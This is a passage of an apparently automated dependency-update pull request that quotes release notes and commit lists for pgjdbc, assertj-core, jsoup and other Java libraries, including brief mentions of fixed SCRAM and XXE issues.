href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.2...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `javax.xml.bind:jaxb-api` from 2.2.3 to 2.3.1\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/javaee/jaxb-spec/commits/2.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.assertj:assertj-core` from 3.21.0 to 3.27.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/assertj/assertj/releases\"\u003eorg.assertj:assertj-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.27.7\u003c/h2\u003e\n\u003ch2\u003e:lock: Security\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix XXE vulnerability in \u003ccode\u003eisXmlEqualTo\u003c/code\u003e assertion (CVE-2026-24400)\n\u003cul\u003e\n\u003cli\u003eSee GHSA-rqfh-9r24-8c9r for details; many thanks to \u003ca href=\"https://github.com/wxt201\"\u003e\u003ccode\u003e@​wxt201\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/Song-Li\"\u003e\u003ccode\u003e@​Song-Li\u003c/code\u003e\u003c/a\u003e for responsibly reporting it!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:no_entry_sign: Deprecated\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eXmlStringPrettyFormatter\u003c/code\u003e with no replacement\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:bug: Bug Fixes\u003c/h2\u003e\n\u003ch3\u003eGuava\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNavigation to \u003ccode\u003eassertj-core\u003c/code\u003e or \u003ccode\u003eguava\u003c/code\u003e types from \u003ccode\u003eassertj-guava\u003c/code\u003e Javadoc site has unnecessary header \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3478\"\u003e#3478\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:hammer: Dependency Upgrades\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Byte Buddy 1.18.3\u003c/li\u003e\n\u003cli\u003eUpgrade to JUnit BOM 5.14.1\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eGuava\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to Guava 33.5.0-jre\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev3.27.6\u003c/h2\u003e\n\u003ch2\u003e:bug: Bug Fixes\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd missing export for \u003ccode\u003eorg.assertj.core.annotation\u003c/code\u003e \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3951\"\u003e#3951\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e:heart: Contributors\u003c/h2\u003e\n\u003cp\u003eThanks to all the contributors who worked on this release:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/duponter\"\u003e\u003ccode\u003e@​duponter\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.27.5\u003c/h2\u003e\n\u003ch2\u003e:zap: Improvements\u003c/h2\u003e\n\u003ch3\u003eCore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eByteBuddy in AssertJ 3.27.4 not compatible with Java 25 \u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3946\"\u003e#3946\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/e84071667f5f8f13084af9dfa54cee5fd9db18db\"\u003e\u003ccode\u003ee840716\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release assertj-build-3.27.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/85ca7eb6609bb179c043b85ae7d290523b1ba79a\"\u003e\u003ccode\u003e85ca7eb\u003c/code\u003e\u003c/a\u003e Deprecate \u003ccode\u003eXmlStringPrettyFormatter\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/77081dc5eb107141df80f95bd0149b468e451341\"\u003e\u003ccode\u003e77081dc\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/b68fc24a9de28f28a486fc5b887c1b8a003a5823\"\u003e\u003ccode\u003eb68fc24\u003c/code\u003e\u003c/a\u003e Bump github/codeql-action from 4.31.9 to 4.31.10 in the github-actions group ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/0cf5bb6c50f6ead3deaa2a2ff50ef1e7d933c8a3\"\u003e\u003ccode\u003e0cf5bb6\u003c/code\u003e\u003c/a\u003e Bump \u003ccode\u003ekotlin.version\u003c/code\u003e from 2.1.0 to 2.2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/d393ef1f5e48c89d47d7cf6d1eae359ceda0a126\"\u003e\u003ccode\u003ed393ef1\u003c/code\u003e\u003c/a\u003e Abort tests when symbolic links cannot be created (\u003ca href=\"https://redirect.github.com/assertj/assertj/issues/3788\"\u003e#3788\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/22124331e9922af5a43ab50f7a9a25b65be53be1\"\u003e\u003ccode\u003e2212433\u003c/code\u003e\u003c/a\u003e Add IntelliJ custom inspection for test class names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/5717d025cfe0f4c66de20f3253c0b0ecba259aa1\"\u003e\u003ccode\u003e5717d02\u003c/code\u003e\u003c/a\u003e Update JetBrains icon\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/a8ec20bd42ed01f9cc6f654046c7dd424b0af07c\"\u003e\u003ccode\u003ea8ec20b\u003c/code\u003e\u003c/a\u003e Add icon for JetBrains products\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/assertj/assertj/commit/c05fb3d052b415fb2d6051df939f3b7903a76afe\"\u003e\u003ccode\u003ec05fb3d\u003c/code\u003e\u003c/a\u003e Bump Maven to 3.9.12 and Wrapper to 3.3.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/assertj/assertj/compare/assertj-core-3.21.0...assertj-build-3.27.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.codehaus.groovy:groovy-all` from 3.0.21 to 3.0.25\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/apache/groovy/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jsoup:jsoup` from 1.15.3 to 1.22.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/releases\"\u003eorg.jsoup:jsoup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.2\u003c/strong\u003e is out now, with fixes and refinements across the library. It makes editing the DOM during traversal more predictable, refreshes the default HTML tag definitions with newer elements and better text boundaries, and improves reliability in parsing and HTTP transport. The release also fixes a number of edge cases in cleaning, stream parsing, XML doctype handling, and Android packaging.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/jhy/jsoup/blob/HEAD/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch2\u003eImprovements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer makes relative URL attributes in the input document absolute when cleaning or validating a \u003ccode\u003eDocument\u003c/code\u003e. URL normalization now applies only to the cleaned output, and \u003ccode\u003eSafelist.isSafeAttribute()\u003c/code\u003e is side effect free. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2475\"\u003e#2475\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eCleaner\u003c/code\u003e no longer duplicates enforced attributes when the input \u003ccode\u003eDocument\u003c/code\u003e preserves attribute case. A case-variant source attribute is now replaced by the enforced attribute in the cleaned output. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2476\"\u003e#2476\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIf a per-request SOCKS proxy is configured, jsoup now avoids using the JDK \u003ccode\u003eHttpClient\u003c/code\u003e, because the JDK would silently ignore that proxy and attempt to connect directly. Those requests now fall back to the legacy \u003ccode\u003eHttpURLConnection\u003c/code\u003e transport instead, which does support SOCKS. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2468\"\u003e#2468\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eConnection.Response.streamParser()\u003c/code\u003e and \u003ccode\u003eDataUtil.streamParser(Path, ...)\u003c/code\u003e could fail on small inputs without a declared charset, if the initial 5 KB charset sniff fully consumed the input and closed it before the stream parse began. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2483\"\u003e#2483\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eIn XML mode, doctypes with an internal subset, such as \u003ccode\u003e\u0026lt;!DOCTYPE root [\u0026lt;!ENTITY name \u0026quot;value\u0026quot;\u0026gt;]\u0026gt;\u003c/code\u003e, now round-trip correctly. The subset is preserved as raw text only; entities are not expanded and external DTDs are not loaded. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2486\"\u003e#2486\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBuild Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMigrated the integration test server from Jetty to Netty, which actively maintains support for our minimum JDK target (8). \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2491\"\u003e#2491\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eMy sincere thanks to everyone who contributed to this release!\nIf you have any suggestions for the next release, I would love to hear them; please get in touch via \u003ca href=\"https://github.com/jhy/jsoup/discussions\"\u003ejsoup discussions\u003c/a\u003e, or with me \u003ca href=\"https://jhedley.com/\"\u003edirectly\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eYou can also \u003c!-- raw HTML omitted --\u003efollow me\u003c!-- raw HTML omitted --\u003e (\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e@\u003ca href=\"mailto:jhy@tilde.zone\"\u003ejhy@tilde.zone\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c!-- raw HTML omitted --\u003e) on Mastodon / Fediverse to receive occasional notes about jsoup releases.\u003c/p\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.1\u003c/strong\u003e is out now, adding support for the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors, a configurable maximum parser depth, and numerous bug fixes and improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://jsoup.org/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for using the \u003ccode\u003ere2j\u003c/code\u003e regular expression engine for regex-based CSS selectors (e.g. \u003ccode\u003e[attr~=regex]\u003c/code\u003e, \u003ccode\u003e:matches(regex)\u003c/code\u003e), which ensures linear-time performance for regex evaluation. This allows safer handling of arbitrary user-supplied query regexes. To enable, add the \u003ccode\u003ecom.google.re2j\u003c/code\u003e dependency to your classpath, e.g.:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"xml\"\u003e\u003ccode\u003e  \u0026lt;dependency\u0026gt;\r\n    \u0026lt;groupId\u0026gt;com.google.re2j\u0026lt;/groupId\u0026gt;\r\n    \u0026lt;artifactId\u0026gt;re2j\u0026lt;/artifactId\u0026gt;\r\n    \u0026lt;version\u0026gt;1.8\u0026lt;/version\u0026gt;\r\n  \u0026lt;/dependency\u0026gt;\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e(If you already have that dependency in your classpath, but you want to keep using the Java regex engine, you can disable re2j via \u003ccode\u003eSystem.setProperty(\u0026quot;jsoup.useRe2j\u0026quot;, \u0026quot;false\u0026quot;)\u003c/code\u003e.) You can confirm that the re2j engine has been enabled correctly by calling \u003ccode\u003eRegex.usingRe2j()\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2407\"\u003e#2407\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/blob/master/CHANGES.md\"\u003eorg.jsoup:jsoup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.22.2 (2026-Apr-20)\u003c/h2\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003ca 